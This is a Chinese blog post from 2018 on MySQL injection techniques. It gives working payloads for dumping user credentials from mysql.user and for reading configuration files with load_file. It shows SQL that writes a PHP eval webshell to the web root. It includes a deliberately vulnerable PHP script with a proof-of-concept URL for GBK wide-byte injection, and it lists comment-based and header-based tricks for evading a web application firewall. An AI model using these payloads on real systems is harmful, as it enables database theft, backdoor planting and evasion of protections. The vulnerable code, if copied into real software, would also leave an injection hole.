一些注入绕过的姿势以及函数利用(1)

mysql:

0x01

 

用load_fileh函数和hex函数配合,提高注入兼容性,利用错误提示来获取配置文件原始内容

以上load-file后跟的是文件位置路径,surname后跟的就是对应文件的hex值

group_concat函数与concat函数功能类似,将多个查询结果显示在一个显示位置里,拼接成一个查询结果,为了保持清晰,中间用一些符号的hex值,可以利用符号隔开。

爆数据库的方法一:1' and 1=2 union select 1, concat(user,0x5f,password) from mysql.user #)
爆数据库的方法二:如果方法一的用户密码是加密后的,无法解密,可以直接从配置文件解开尝试。语句见博客第一张图,配置文件hex解密后有mysql用户密码


可以用winhex转码存储文件,我一般喜欢用hackbar自带的。可以看到文件是一个php。

 

0x02

利用注入写入webshell姿势:

 

Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['6um1n']);?>"); //把php一句话木马插入到temp表
Select cmd from temp into out file 'C:/xampp/xampp/htdocs/shell.php'; //查询temp表中的一句话并把结果导入到shell.php
Drop TABLE IF EXISTS temp; //删除temp

#以上也可简化为:
#Select "<?php @eval($_POST['6um1n']);?>" into outfile 'C:/xampp/xampp/htdocs/shell.php'  后面跟上物理地址,前提根据报错或者phpinfo看到地址

一些渗透的思路:

查询user()

非root

猜密码->找后台->后台拿shell

Root

猜密码->找后台->后台拿shell

猜网站目录->写后门->获取shell

猜网站目录,敏感文件->读取指定文件->综合渗透

跨库注入->综合渗透

敏感文件(数据库配置文件,系统记录文件等)

 

Root下攻防

a)         过滤 转义过滤  绕过(hex url unicode编码 宽字节注入(后面有详解) 注释绕过)

b)         文件目录权限设置  换目录写入,图片目录等

c)         防护软件拦截  过狗

 

 

宽字节注入详解:

宽字节注入漏洞原理

宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等。当MYSQL数据库数据在处理和存储过程中,涉及到的字符集相关信息包括:

(1)          character_set_client:客户端发送过来的SQL语句编码,也就是PHP发送的SQL查询语句编码字符集。

(2)          character_set_connection:MySQL服务器接收客户端SQL查询语句后,在实施真正查询之前SQL查询语句编码字符集。

(3)          character_set_database:数据库缺省编码字符集。

(4)          character_set_filesystem:文件系统编码字符集。

(5)          character_set_results:SQL语句执行结果编码字符集。

(6)          character_set_server:服务器缺省编码字符集。

(7)          character_set_system:系统缺省编码字符集。

(8)       character_sets_dir:字符集存放目录,一般不要修改。

 

宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义消毒失败。

例子3就是一个存在宽字符注入漏洞的PHP程序。

<?php
$name=$_GET['name'];
$name=addslashes($name);
$conn=mysql_connect('localhost','root','root');
if($conn==null){exit("connect error !<br>");}
mysql_query("SET NAMES 'gbk'",$conn);
mysql_select_db("aaa",$conn);
$sql="select * from a1 where name='".$name."'";
$result=mysql_query($sql,$conn);
while($val=mysql_fetch_row($result)){
print_r($val);
print("<br>");
}
?>

  

这个PHP程序的SQL注入POC为:

http://127.0.0.1/test/t3.php?name=a%df' or 1=1; %20%23

其原理是mysql_query("SETNAMES 'gbk'",$conn)语句将编码字符集修改为gbk,此时,%df\'对应的编码就是%df%5c’,即汉字“運’”,这样单引号之前的转义符号“\”就被吃调了,从而转义消毒失败。

4 宽字节注入漏洞再深入

从宽字节注入漏洞原理可以看出,宽字节注入的关键点有两个:

(1)          设置宽字节字符集;

(2)          设置的宽字符集可能吃掉转义符号“\”(对应的编码为0x5c,即低位中包含正常的0x5c就行了)。

理论上,符合第二条的字符集都可能导致宽字节注入漏洞,这里以gbk字符集为典型,介绍宽字符注入漏洞典型案例。

宽字节注入漏洞的另一个关键是设置了character_set_client为宽字节字符集,这里有很多中设置的方式,主要包括隐式设置和显式设置。

隐含方式设置是指charcter_set_client缺省字符集就是宽字节字符集。

显式设置是指在PHP程序中调用相应的设置函数来实现字符集的设置或直接对字符串进行编码转换,设置的函数包括:

(1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。

(2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。

(3) mb_convert_encoding,如mb_convert_encoding($sql,"utf8","gbk"),将SQL语句从gbk格式转换为utf8格式时,0x5c被吃掉了。

(4) iconv,如iconv('GBK', 'UTF-8',$sql),原理同上。

 

 

5.过狗:

1.提交方式更改注入:如果检擦get,可以用cookie post UA X-forward 等http头进行绕过

2.看看过滤了什么

or and不行用like

union select同时出现过滤时用打乱,un/*vvvv*/ion select  。ps: windows平台大小写混编不好使,/**/是php的注释

空格用 “/*!”代替

结尾用 “/*!*/”代替

 

空格用 “/*!”  代替

结尾用 “/*!*/”  “/***/” ''/*^*/"代替

 

/*!union/*!select/*!1,2,3

 原理:前面是一个感叹,代表非,但是后面的注释功能理解为再把非去掉,所以还是完整语句

过狗此法可以绕过2017年3.5版本的安全狗

/*!union/*!*/

/*!select/*!*/

/*!1,2,3/*!*/

 

posted @ 2018-03-04 00:14  DrKang  阅读(669)  评论(0编辑  收藏  举报